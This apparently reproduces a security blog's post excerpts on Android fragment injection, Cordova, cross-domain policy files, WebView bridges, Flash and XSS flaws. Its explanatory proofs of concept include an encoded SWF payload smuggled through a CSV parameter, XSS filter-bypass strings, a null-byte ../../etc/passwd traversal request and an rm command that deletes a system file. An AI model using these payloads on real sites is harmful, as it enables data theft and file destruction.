Understanding Fragment Injection

By | June 18, 2014

A colleague asked me about an Android vulnerability called fragment injection because of an article he read [1] and I think its worth diving into the details of the vulnerability. Fragment injection is a classic example of using reflection in an unsafe way (CWE-470) [2]. As in untrusted data from an Intent is used to determine which class is instantiated within the target Android application.

In order to understand fragment injection, we have to review Google’s PreferenceActivity class. The PreferenceActivity class pulls out the EXTRA_SHOW_FRAGMENT extra (:android:show_fragment) and the EXTRA_SHOW_FRAGMENT_ARGUMENTS extra (:android:show_fragment_args) from a received Intent [3].

String initialFragment = getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);
Bundle initialArguments = getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);

Then later calls the Fragment.instantiate function based on the untrusted input.

Fragment f = Fragment.instantiate(this, fragmentName, args);

The Fragment.instantiate function just loads and returns the desired Fragment class [4].

public static Fragment instantiate(Context context, String fname, Bundle args) {
       try {
              Class clazz = sClassMap.get(fname);
              if (clazz == null) {
                     // Class not found in the cache, see if it's real, and try to add it
                     clazz = context.getClassLoader().loadClass(fname);
                     sClassMap.put(fname, clazz);
              }
              Fragment f = (Fragment)clazz.newInstance();
              if (args != null) {
                     args.setClassLoader(f.getClass().getClassLoader());
                     f.mArguments = args;
              }
              return f;

Continue reading

Cordova InAppBrowser Remote Privilege Escalation

By | April 14, 2014

Earlier this year, I identified an interesting vulnerability (CVE-2014-0073) in one of Apache Cordova’s core plug-ins (InAppBrowser). Cordova, also sometimes referred to as PhoneGap, is a popular cross-platform mobile framework that allows developers to write mobile applications in JavaScript and HTML. The JavaScript and HTML code executes within the Cordova WebView and has access to native functionality via a set of plug-ins that is exposed by a JavaScript bridge. How this bridge is implemented varies across the supported platforms such as Android, iOS, Windows Phone, and BlackBerry.

Since the Cordova WebView exposes native functionality to JavaScript, loading any sort of untrusted code into this WebView is a generally a bad idea. If a developer wants to load untrusted web content into their Cordova-based application, then they will use the InAppBrowser plug-in instead. According to the API documentation, “the InAppBrowser window behaves like a standard web browser, and can’t access Cordova APIs.” In order to load a website into the InAppBrowser plug-in a developer can use the following JavaScript code. Note that the target argument is set to _blank.

window.open('http://evil.com', '_blank', 'location=yes');

Continue reading

Why cross-domain policy files are occasionally interesting to look at.

By | July 23, 2013

A cross-domain policy file grants a web client such as a Flash application or a Siverlight application the ability to make a cross-domain request and access the response. As in it allows a Flash application on www.evil.com to make a HTTP request to www.bank.com and read the HTTP response, which may allow an attacker to acquire sensitive information (account information, sensitive messages, CSRF tokens, other junk, etc.) assuming the victim is logged into www.bank.com and the target domain defines an overly permissive cross-domain policy file such as the following. For Flash, the master cross-domain policy file will exist in the root directory of the web server (www.bank.com/crossdomain.xml), but it is also possible that policy files exist under other directories as well assuming the permitted-cross-domain-policies attribute is set properly (the default value is now master-only thus preventing the classic “upload text that looks like a cross-domain policy file to a web-based email client” attack). Read the specification for more info.

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
  <allow-access-from domain="*"/>
</cross-domain-policy>

Continue reading

Abusing WebView JavaScript Bridges

By | December 21, 2012

Android applications often use the WebView class to embed a browser component within an Activity in order to display online content.  For example, the following code will show the Google homepage within an Activity.

WebView webView = new WebView (R.id.webView1);
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl("http://www.google.com");

An application can inject Java objects into a WebView via the addJavascriptInterface function.  This allows JavaScript code to call the public methods of the injected Java object.  Exposing Java objects to JavaScript could have some negative security implications, such as allowing JavaScript to invoke native phone functionality (sending SMS to premium numbers, accessing account information, etc.) or allowing JavaScript to subvert existing browser security controls such as the same origin policy.  I could not find much information documenting how to exploit these issues, but an academic paper titled Attacks on WebView in the Android System explores a number of attacks and describes a situation in which a file utilities object is exposed to JavaScript code thus allowing attackers to manipulate the file system if an attacker can control any of the content rendered in a WebView via MiTM, JavaScript injection, or redirection attacks.

// Java code
wv.addJavascriptInterface(new FileUtils(), "FUtil");
...
<!-- JavaScript code -->
<script type="text/javascript">// <![CDATA[
filename = '/data/data/com.livingsocial.www/' + id +'_cache.txt';
FUtil.write(filename, data, false);
// ]]></script>

The paper goes on to state that “in our case studies, 30% Android apps use addJavascriptInterface. How severe the problems of those apps are depends on the types of interfaces they provide and the permissions assigned to them.”  The following code exposes the SmokeyBear class to JavaScript, but only declares one public function that returns a string.  Is this interface safe to expose?

webView.addJavascriptInterface(new SmokeyBear(), "SmokeyBear");
...
public class SmokeyBear {
	public String getAdvice() {
		return "Only You Can Prevent Wildfires.";
	}
}

Continue reading

Content-Type Blues

By | February 29, 2012

Assuming an attacker can control the start of a CSV file served up by a web application, what damage could be done?  The example PHP code below serves up a basic CSV file, but allows the user to control the column names. Note that the Content-Type header is at least set properly.

<?php
header('Content-Type: text/csv');
header('Content-Disposition: inline; filename=blah.csv');
header('Content-Length: ' . 20);

echo $_GET["columnNames"] . "\r\n";
echo "1,2,3,4,5\r\n";
echo "data,we,do,not,control";
?>

Our first attempt might involve injecting in a XSS payload.

http://target/csvServe.php?columnNames=a,b,c,d,e<html><body><script>alert(1)</script></body</html>

This seems like a reasonable approach since the application accepts and uses the columnNames parameter without performing any input validation or output encoding. But, the browser, even our old friend IE, will not render the content as HTML due to the Content-Type header’s value (text/csv). Note that this would be exploitable if the Content-Type header was set to text/plain instead, because IE will perform content sniffing in that situation.

Out of luck? Nope, just inject in an entire SWF file into the columnNames parameter. A SWF’s origin is the domain from which it was retrieved from, similar to a Java applet (uses IP addresses instead of domain names though), therefore a malicious page could embed a SWF, which originates from the target’s domain that could make arbitrary requests to the target domain and read the responses (steal sensitive data, defeat CSRF protections, and other generally nasty actions).  But, what about the data in the CSV that we don’t control?  The Flash Player will ignore the content following a well formed SWF and execute the SWF properly. The following JavaScript code snippet demonstrates this technique. Since both browsers and HTTP servers impose limits on the length of URLs, I would recommend writing the payload in ActionScript 2 using a command-line compiler like MTASC or an assembler like Flasm in order to craft a small SWF. Sadly, Flex is bloated, so mxmlc is not an option.

<script>
var flashvars = {};
var params = {};					
var attributes = {};
var url="http://target/csvServe.php?columnNames=CWS%07%AA%01%00%00x%DADP%C1N%021%14%9C%ED%22-j0%21%24%EB%81%03z%E3%E2%1F%18XI%88%1E%607%C0%C1%8B%D9%ACP%91X%ECf%A9%01%BF%40N%1C%F7%E6%DD%CF%F1%8F%F0%B5K%E2%3BL%DFL%DA%E9%9B%B7%05%FF%05%82%0Chz%E8%B3%03U%AD%0A%AA%D8%23%E8%D6%9B%84%D4%C5I%12%A7%B3%B7t%21%D77%D3%0F%A3q%A8_%DA%0B%F1%EE%09gpJ%B2P%FA9U0%2FHr%AD%0Df%B9L%8D%9C%CA%AD%19%2C%A5%9A%C3P%87%7B%A9%94not%AE%E6%ED%2Bd%B96%DA%7Cf%12%ABt%F9%8E4%CB%10N%26%D2%C4%B9%CE%06%2A%5D%ACQ0%08%B4%1A%8Do%86%1FG%BC%96%93%F6%C2%0E%C9%3A%08Q%5C%83%3F2%80%B7%7D%02%2B%FF%83%60%DC%A6%11%BE%7BU%19%07%F6%28%09%1B%15%15%88%13Q%8D%BE%28ID%84%28%1F%11%F1%82%92%88%FD%B9%0D%EFw%C0V34%8F%B3%145%88Zi%8E%5E%14%15%17%E0v%13%AC%E2q%DF%8A%A7%B7%01%BA%FE%1D%B5%BB%16%B9%0C%A7%E1%A4%9F%0C%C3%87%11%CC%EBr%5D%EE%CA%A5uv%F6%EF%E0%98%8B%97N%82%B9%F9%FCq%80%1E%D1%3F%00%00%00%FF%FF%03%00%84%26N%A8";
swfobject.embedSWF(url, "content", "400", "200", "10.0.0", "expressInstall.swf", flashvars, params, attributes);
</script>

Ideally, web applications wouldn’t accept arbitrary content to build a CSV, but the Flash Player could also take steps to prevent this attack from occurring.  The following improvements could be made, but  will likely break some existing RIAs that fail to set the Content-Type header properly on their SWFs.

1) Refuse to play any SWF that does not have a correct MIME type (application/x-shockwave-flash).
2) Refuse to play any SWF that has erroneous data at the end of the file.

Moral of the story: setting the content type properly is not a substitute for proper input validation.

Bypassing Flash’s local-with-filesystem Sandbox Redux

By | December 12, 2011

I suppose I should explain what Adobe refers to as a security control bypass (CVE-2011-2429).  There exists a number of different security sandboxes that the Flash Player uses to restrict SWFs. In this case, I was able to create a SWF that bypassed the restrictions imposed by a local-with-filesystem sandbox.

“The local-with-filesystem sandbox–For security purposes, Flash Player places all local SWF files and assets in the local-with-file-system sandbox, by default. From this sandbox, SWF files can read local files (by using the URLLoader class, for example), but they cannot communicate with the network in any way. This assures the user that local data cannot be leaked out to the network or otherwise inappropriately shared.” [1]

Since a SWF placed into the local-with-filesystem sandbox can access local files, all we need to do is figure out a way to “communicate with the network in any way” in order to exfiltrate files off of a victim’s computer.  Billy Rios noticed that the getURL function was using protocol black-listing to prevent network communication with the outside world, therefore he used the mhtml psuedo URL scheme, which works in IE, earlier this year to bypass the security restrictions [2].  When I tried to reproduce his research, I received an annoying security exception from the Flash Player, so I searched for other pseudo URL schemes that might be useful, since I noticed that the Flash Player continued to simply black-list protocols as opposed to implementing some sort of white-list of acceptable protocols.  I quickly came across the view-source pseudo URL scheme that appeared to achieve similar results in Firefox and Chrome.  The view-source scheme is used to *gasp* view the source of a resource, and you’ll notice that both browsers will make a new HTTP request to retrieve the resource if the resource has not been cached yet.

The proof of concept is fairly simplistic, and there is technically a file size restriction on the files that can be extracted from the target’s machine due to browser restrictions on the URL length, but it might be possible to bypass this restriction by using custom HTTP headers to transfer the file contents instead, or using a different technique. The screenshot below shows the PoC SWF in action stealing some s3cr3t filez.

Moral of the story: black-listing URL schemes is still a bad idea.

[1] – http://livedocs.adobe.com/flex/3/html/help.html?content=05B_Security_04.html

[2] – http://xs-sniper.com/blog/2011/01/04/bypassing-flash%E2%80%99s-local-with-filesystem-sandbox/

Don’t Believe Everything You Read

By | December 6, 2011

Searching for “how to prevent cross site scripting in .NET” in Google produces a number of interesting results. The first link points to a MSDN article titled How To: Prevent Cross-Site Scripting in ASP.NET, but this article includes the following code snippet, which “uses HtmlEncode to ensure the inserted text is safe”, but this code is clearly vulnerable upon further inspection.

<%@ Page Language=”C#” AutoEventWireup=”true”%>

<html>
  <form id="form1" runat="server">
    <div>
      Color:&nbsp;<asp:TextBox ID="TextBox1" runat="server"></asp:TextBox>
      <br />
      <asp:Button ID="Button1" runat="server" Text="Show color"
         OnClick="Button1_Click" /><br />
      <asp:Literal ID="Literal1" runat="server"></asp:Literal>
    </div>
  </form>
</html>

<script runat="server">
  private void Page_Load(Object Src, EventArgs e)
  {
    protected void Button1_Click(object sender, EventArgs e)
    {
      Literal1.Text = @"<span style=""color:"
        + Server.HtmlEncode(TextBox1.Text)
        + @""">Color example</span>";
    }
  }
</Script>

 

In this example, it is crucial to understand, which characters the Server.HtmlEncode function actually encodes, and understand the context in which the application injects the user input. The application accepts user input and uses the input to build an inline style for a span element. In this context, a malicious user could inject in JavaScript without the use of single quotes, or double quotes as demonstrated by the following examples.

<span style="color: expression(alert(3435849))">Color example</span>

Or the following…

<span style="color: \65\78\70\72\65\73\73\69\6f\6e(\u0061\u006C\u0065\u0072\u0074(3435849))">Color example</span>

While the MSDN article remains popular, Microsoft has chosen not to maintain this documentation, which is a shame because most of the content is fairly informative for developers attempting to secure their code. Anyways, don’t believe everything you read and please use the Anti-XSS library instead of the Server.HtmlEncode function.

No Love for the Null Byte

By | September 22, 2011
Attackers have commonly used the null character to bypass file extension restrictions during the exploitation of local file inclusion vulnerabilities.  rain.forest.puppy outlined this type of attack against Perl-based CGI applications in Phrack issue 55 over ten years ago, but the problem has also affected web applications written in other higher-level languages such as Java, .NET, and PHP.  Consider the following insecure PHP code.
if(file_exists('/tmp/'.$_GET['filename'].'.txt')) {
  include '/tmp/'.$_GET['filename'].'.txt'
}
Clearly, an attacker could abuse the poorly written application to include arbitrary TXT files stored on the web server, which is certainly not good, but until fairly recently an attacker could also include any file regardless of the extension.  Consider the following request an attacker could make to exploit the vulnerability and acquire the server’s password file.
http://www.victim.com/page.php?filename=../../etc/passwd%00
The developers of PHP addressed this issue in version 5.3.4 late last year, and “paths with NULL in them (foo\0bar.txt) are now considered as invalid.”  Finally, the file_exists function operates how most programmers would expect it to function.  File systems, at least NTFS and most Unix file systems, do not allow the null character to appear within a file name, although many other control characters are permitted within file names.
if(file_exists("/etc/passwd\0")) {
  // Dead code in 5.3.4 or later.
  echo 'There isn\'t a file named /etc/passwd\\0 on my server!!!';
}
So can we finally stop worrying about null bytes in PHP?  Not really, the null byte character can still cause issues in a number of other situations.  Consider an application that performs rudimentary input validation to prevent command injection, but still allows the user to type in something like ../etc/passwd\0. Same problem, different function.
// Guess what file gets deleted?
exec("rm /tmp/../etc/passwd\0.tmp");
Attackers could also use null byte characters to bypass black-list filters designed to mitigate the risk of cross-site scripting attacks by blocking specific HTML or JavaScript keywords.  Applications should avoid relying on black-listing to prevent attacks, but Internet Explorer complicates the situation, since IE essentially ignores null byte characters in every single context while rendering HTML, and JavaScript, and therefore we can easily craft a payload like the following to bypass black-list filters that attempts to sanitize input.  Luckily, other browsers simply ignore the null byte shenanigans and the JavaScript fails to execute.
http://target/lameBlackList.php?data=blah%00<%00s%00c%00r%00i%00p%00t%00/%00a%00=%00"%00<blah>%00"%00>%00a%00l%00e%00r%00t%00(%001%00)%00<%00/s%00c%00r%00i%00p%00t%00>
// lameBlacklist.php
$data = $_GET["data"];
$pattern = "/<[[:space:]]*([a-z]|[A-Z]|\/)+/";
$replacement = "denied";
$out = preg_replace($pattern, $replacement, $data);
echo $out;

This example also illustrates one way of bypassing IE8's XSS filter, since the parameter value in the request will not exactly match the parameter value reflected in the response, which is accomplished by adding in an erroneous <blah> element inside of a bogus HTML attribute, since we know the application will attempt to sanitize the input as opposed to outright blocking the malicious request.  Another way to ensure that the request signature will not match the response signature, and bypass the IE’s XSS filter, is to abuse applications that perform output encoding on some characters, such as double quotes, but fail to encode all relevant characters, such as single quotes.  But, I digress...
At the end of the day, null byte characters will continue to cause security issues when software written in higher-level language pass unvalidated user input to software written in C/C++ or assembly.  Higher-level languages such as Java, PHP, Perl, and .NET place no special meaning in a null character, while the null character is used as the string termination character in lower level languages, therefore this mismatch of data representation of strings will often adversely affect security.  Pascal style strings are sounding like a good idea again 🙂